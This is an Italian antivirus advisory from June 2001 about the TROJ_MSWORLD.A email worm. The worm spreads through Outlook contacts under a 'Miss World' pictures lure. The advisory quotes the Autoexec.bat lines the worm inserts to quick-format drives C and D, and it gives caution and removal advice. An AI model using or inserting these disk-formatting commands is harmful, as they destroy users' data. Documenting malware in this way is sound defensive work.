INVIA QUESTA NOTIZIA AD UN AMICO

 

Nome Virus  

TROJ_MSWORLD.A

Rischio:  Basso
Tipo: Distruttivo 
Diffusione: Via e-mail
Caratteristiche
Il virus attacca e si diffonde con messaggi di posta e si autoreplica attraverso gli indirizzi presenti in Outlook. Promette di presentare le candidate a Miss World, ma in realtà cela ben altro.  Il worm è altamente distruttivo se viene attivato , ma la sua diffusione , per il momento, non desta molta  preoccupazione.
Il messaggio:

Oggetto: "Miss World"
Messaggio: Hi, [email recipient] Enjoy the latest pictures of Miss World from various Country
Allegato: MWORLD.EXE, MISSWRLD.EXE., o MISSWORLD.EXE (varia)

Una volta lanciato il file allegato, compare una finestra con una applicazione Flash ed il worm attiva la riscrittura del file Autoexec.bat inserendo il codice distruttivo e dando istruzione di riformattare gli hard disks C e, se presente, D :

Echo Off
Echo This Everything for my Girl Friend........., (CatEyes, KRSSL, SS Hostel)
Format D: /q /autotest
Format C: /q /autotest
Echo On



Ricordiamo di prestare sempre la massima cautela nell'aprire file allegati alle e-mail della cui origine non si sia certi e di esercitare la massima prudenza anche in presenza di  allegati provenienti da conoscenti, ma che non erano attesi.

Alias
W32.MsWorld@mm, MSWORLD.A, MsWorld
Maggiori informazioni e rimozione
Rimuovere le linee di codice infetto dal file Autoexec.bat e utilizzare un antivirus aggiornato per rimuovere il virus.


8 Giu. 2001

 

 

 

 


dot_ltblue.gif (41 byte)